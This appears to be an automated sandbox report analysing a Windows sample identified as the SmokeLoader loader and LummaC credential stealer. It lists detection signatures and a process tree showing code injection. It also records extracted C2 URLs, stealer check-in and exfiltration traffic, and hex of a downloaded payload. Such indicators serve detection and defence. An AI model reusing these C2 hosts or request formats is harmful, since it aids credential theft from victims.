Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	1318516
MD5:	ec1d1cd9d43698631ceb1157e680a00a
SHA1:	fe62f6419edca78ed9ff69b7ce0251e0dfde76e6
SHA256:	a131b5cb6dd4b0daeea80eda409b3957fc9d7d33b0a4058e19d28b9cdebb51b6
Tags:	exe
Infos:

Detection

LummaC Stealer, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected LummaC Stealer

Yara detected AntiVM3

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

One or more processes crash

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Searches for user specific document files

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Classification

Process Tree

System is w10x64

file.exe (PID: 7580 cmdline: C:\Users\user\Desktop\file.exe MD5: EC1D1CD9D43698631CEB1157E680A00A)

explorer.exe (PID: 3000 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

6E11.exe (PID: 5172 cmdline: C:\Users\user\AppData\Local\Temp\6E11.exe MD5: 4527E3FE757DD266980F572C43F22EF3)

RegAsm.exe (PID: 6692 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe MD5: 8FE9545E9F72E460723F484C304314AD)

EDBC.exe (PID: 5064 cmdline: C:\Users\user\AppData\Local\Temp\EDBC.exe MD5: 59E6F40D24C3EA84FA3BCF55B8F72C9D)

conhost.exe (PID: 3912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 1072 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 4DF5F963C7E18F062E49870D0AFF8F6F)

WerFault.exe (PID: 6232 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 136 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

aueuggs (PID: 5856 cmdline: C:\Users\user\AppData\Roaming\aueuggs MD5: EC1D1CD9D43698631CEB1157E680A00A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["fiancejiveimp.fun", "fullppc.yz"], "Build Id": "rIwhoU--Elvin"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://gudintas.at/tmp/", "http://pik96.ru/tmp/", "http://rosatiauto.com/tmp/", "http://kingpirate.ru/tmp/"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\6E11.exe	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x112b36:$s2: is protected by an unregistered version of .NET Reactor!" );</script>

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.950991871.0000000002500000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.900656340.0000000002320000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000003.885330632.0000000002330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000003.939764066.0000000002510000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.900699694.00000000023B7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5dc9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x5869:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000015.00000002.1048474823.000000000407D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6E11.exe PID: 5172	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 6692	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6692	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 1072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AppLaunch.exe PID: 1072	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.file.exe.2330000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.3.aueuggs.2510000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.file.exe.2320e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.aueuggs.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.aueuggs.2500e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.file.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.2.RegAsm.exe.400000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
22.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
21.0.6E11.exe.890000.0.unpack	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x112b36:$s2: is protected by an unregistered version of .NET Reactor!" );</script>
Click to see the 4 entries

Snort Signatures

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In - Source IP: 192.168.2.3 - Destination IP: 104.21.1.18

Timestamp:	192.168.2.3104.21.1.1849855802048093 10/03/23-09:55:18.464087
SID:	2048093
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.3 - Destination IP: 172.67.137.125

Timestamp:	192.168.2.3172.67.137.12549842802048094 10/03/23-09:55:14.607034
SID:	2048094
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.3 - Destination IP: 172.67.151.219

Timestamp:	192.168.2.3172.67.151.21949864802048094 10/03/23-09:55:20.960656
SID:	2048094
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.3 - Destination IP: 104.21.1.18

Timestamp:	192.168.2.3104.21.1.1849859802048094 10/03/23-09:55:19.654804
SID:	2048094
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.3 - Destination IP: 104.21.81.17

Timestamp:	192.168.2.3104.21.81.1749834802048094 10/03/23-09:55:12.695709
SID:	2048094
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) - Source IP: 91.227.16.22 - Destination IP: 192.168.2.3

Timestamp:	91.227.16.22192.168.2.380498162018572 10/03/23-09:55:07.486428
SID:	2018572
Source Port:	80
Destination Port:	49816
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration - Source IP: 192.168.2.3 - Destination IP: 104.21.1.18

Timestamp:	192.168.2.3104.21.1.1849921802048094 10/03/23-09:55:50.248359
SID:	2048094
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In - Source IP: 192.168.2.3 - Destination IP: 104.21.81.17

Timestamp:	192.168.2.3104.21.81.1749829802048093 10/03/23-09:55:12.132298
SID:	2048093
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://kingpirate.ru/tmp/	URL Reputation: Label: malware
Source: http://pik96.ru/tmp/	URL Reputation: Label: malware
Source: http://gudintas.at/tmp/	URL Reputation: Label: malware
Source: http://malenursenect.fun/A	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/apil	Avira URL Cloud: Label: malware
Source: http://h170811.srv22.test-hf.su/186.exe	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/api	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/8yP	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/apiQu-	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/api9uU	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/Qy	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/Fy	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/apiH	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/0	Avira URL Cloud: Label: malware
Source: http://malenursenect.fun/api)t%	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\aueuggs	Avira: detection malicious, Label: HEUR/AGEN.1312455
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Avira: detection malicious, Label: HEUR/AGEN.1316997

Found malware configuration

Source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://gudintas.at/tmp/", "http://pik96.ru/tmp/", "http://rosatiauto.com/tmp/", "http://kingpirate.ru/tmp/"]}
Source: 22.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["fiancejiveimp.fun", "fullppc.yz"], "Build Id": "rIwhoU--Elvin"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: gudintas.at	Virustotal: Detection: 11%	Perma Link
Source: malenursenect.fun	Virustotal: Detection: 7%	Perma Link
Source: h170811.srv22.test-hf.su	Virustotal: Detection: 8%	Perma Link
Source: fullppc.xyz	Virustotal: Detection: 17%	Perma Link
Source: http://malenursenect.fun/	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\aueuggs	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\aueuggs	Virustotal: Detection: 45%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\aueuggs	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0FDE00 CryptGenRandom,__CxxThrowException@8,	21_2_6F0FDE00
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0FDEE0 CryptReleaseContext,	21_2_6F0FDEE0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0FDD20 CryptReleaseContext,	21_2_6F0FDD20
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0FDBB0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,	21_2_6F0FDBB0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0FD9D0 CryptAcquireContextA,GetLastError,	21_2_6F0FD9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004385E8 _strlen,CryptStringToBinaryA,CryptStringToBinaryA,	22_2_004385E8

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: C:\Users\Test\Desktop\LC2\LC2_servConf\Release\LC2.pdb source: 6E11.exe, 00000015.00000002.1048413965.000000000300E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: 6E11.exe, 00000015.00000002.1048474823.00000000045BA000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmp, 6E11.exe, 00000015.00000002.1049278689.0000000005890000.00000004.08000000.00040000.00000000.sdmp, 6E11.exe, 00000015.00000002.1048474823.0000000003F51000.00000004.00000800.00020000.00000000.sdmp, Protect544cd51a.dll.21.dr
Source:	Binary string: communication_program_compendium.pdb source: 6E11.exe, 00000015.00000000.1046466838.0000000000892000.00000002.00000001.01000000.00000008.sdmp, 6E11.exe.1.dr
Source:	Binary string: eex.pdb source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Users\Test\Desktop\LC2\LC2_servConf\Release\LC2.pdbu source: 6E11.exe, 00000015.00000002.1048413965.000000000300E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: 6E11.exe, 00000015.00000002.1048474823.00000000044EC000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1048474823.0000000004678000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1049278689.000000000594A000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00456688 FindFirstFileExW,		22_2_00456688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0045673C FindFirstFileExW,FindNextFileW,FindClose,FindClose,		22_2_0045673C

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156C8B0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	21_2_015653D4
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	21_2_0156B4CD
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156C9C0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156C9B9
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156C8A8
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156CBD9
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156CBE0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156CAD0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 40000003h	21_2_0156CAC8

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 200.92.136.254 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: gudintas.at
Source: C:\Windows\explorer.exe	Network Connect: 211.181.24.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h170811.srv22.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 193.149.185.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.182.55.44 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 180.94.156.61 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.22 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.147.159.19 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2018572 ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) 91.227.16.22:80 -> 192.168.2.3:49816
Source: Traffic	Snort IDS: 2048093 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In 192.168.2.3:49829 -> 104.21.81.17:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.3:49834 -> 104.21.81.17:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.3:49842 -> 172.67.137.125:80
Source: Traffic	Snort IDS: 2048093 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In 192.168.2.3:49855 -> 104.21.1.18:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.3:49859 -> 104.21.1.18:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.3:49864 -> 172.67.151.219:80
Source: Traffic	Snort IDS: 2048094 ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration 192.168.2.3:49921 -> 104.21.1.18:80

Performs DNS queries to domains with low reputation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

DNS query: fullppc.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fiancejiveimp.fun
Source: Malware configuration extractor	URLs: fullppc.yz
Source: Malware configuration extractor	URLs: http://gudintas.at/tmp/
Source: Malware configuration extractor	URLs: http://pik96.ru/tmp/
Source: Malware configuration extractor	URLs: http://rosatiauto.com/tmp/
Source: Malware configuration extractor	URLs: http://kingpirate.ru/tmp/

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: fiancejiveimp.funContent-Length: 54Cache-Control: no-cacheData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 72 49 77 68 6f 55 2d 2d 45 6c 76 69 6e 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=rIwhoU--Elvin&j=default&ver=4.0
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: malenursenect.funContent-Length: 61Cache-Control: no-cacheData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 50 72 54 69 4f 37 2d 2d 49 6e 73 74 61 6c 6c 42 65 73 74 32 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=PrTiO7--InstallBest2&j=default&ver=4.0

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Tue, 03 Oct 2023 07:55:07 GMTContent-Type: application/octet-streamContent-Length: 3413536Connection: keep-aliveKeep-Alive: timeout=20Last-Modified: Tue, 03 Oct 2023 06:43:12 GMTETag: "341620-606ca345ebb95"Accept-Ranges: bytesX-Power-Supply-By: 220 VoltData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f3 d4 ac cf 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c4 31 00 00 c2 01 00 00 00 00 00 1e e3 31 00 00 20 00 00 00 00 32 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 33 00 00 02 00 00 a6 70 34 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 d0 e2 31 00 4b 00 00 00 00 00 32 00 18 bf 01 00 00 00 00 00 00 00 00 00 00 88 33 00 20 8e 00 00 00 c0 33 00 0c 00 00 00 6b e2 31 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 c3 31 00 00 20 00 00 00 c4 31 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 bf 01 00 00 00 32 00 00 c0 01 00 00 c6 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 33 00 00 02 00 00 00 86 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 31 00 00 00 00 00 48 00 00 00 02 00 05 00 68 44 04 00 00 90 0d 00 03 00 00 00 81 00 00 06 68 d4 11 00 1b 0c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 2b 05 28 c5 cc 35 45 02 28 13 00 00 0a 2a 00 56 2b 05 28 bc 2c 0e 3f 00 02 28 14 00 00 0a 38 00 00 00 00 00 2a 00 00 42 2b 05 28 bf 1c 4a 3a 7e 01 00 00 04 14 fe 01 2a 00 00 00 36 2b 05 28 66 a6 36 61 7e 01 00 00 04 2a 00 00 13 30 03 00 a4 00 00 00 01 00 00 11 2b 05 28 2a ee 4d 65 38 1e 00 00 00 fe 0c 00 00 45 04 00 00 00 2f 00 00 00 4b 00 00 00 6b 00 00 00 4a 00 00 00 38 2a 00 00 00 73 15 00 00 0a 80 02 00 00 04 38 00 00 00 00 73 16 00 00 0a 80 03 00 00 04 20 01 00 00 00 16 39 c2 ff ff ff 26 38 b8 ff ff ff 73 17 00 00 0a 80 05 00 00 04 20 02 00 00 00 17 3a a7 ff ff ff 26 38 9d ff ff ff 2a 73 18 00 00 0a 80 04 00 00 04 20 00 00 00 00 17 3a 8b ff ff ff 26 20 00 00 00 00 38 80 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 03 00 00 00 38 6c ff ff ff 13 30 03 00 5a 00 00 00 02 00 00 11 2b 05 28 da 57 30 5c 20 01 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 27 00 00 00 05 0
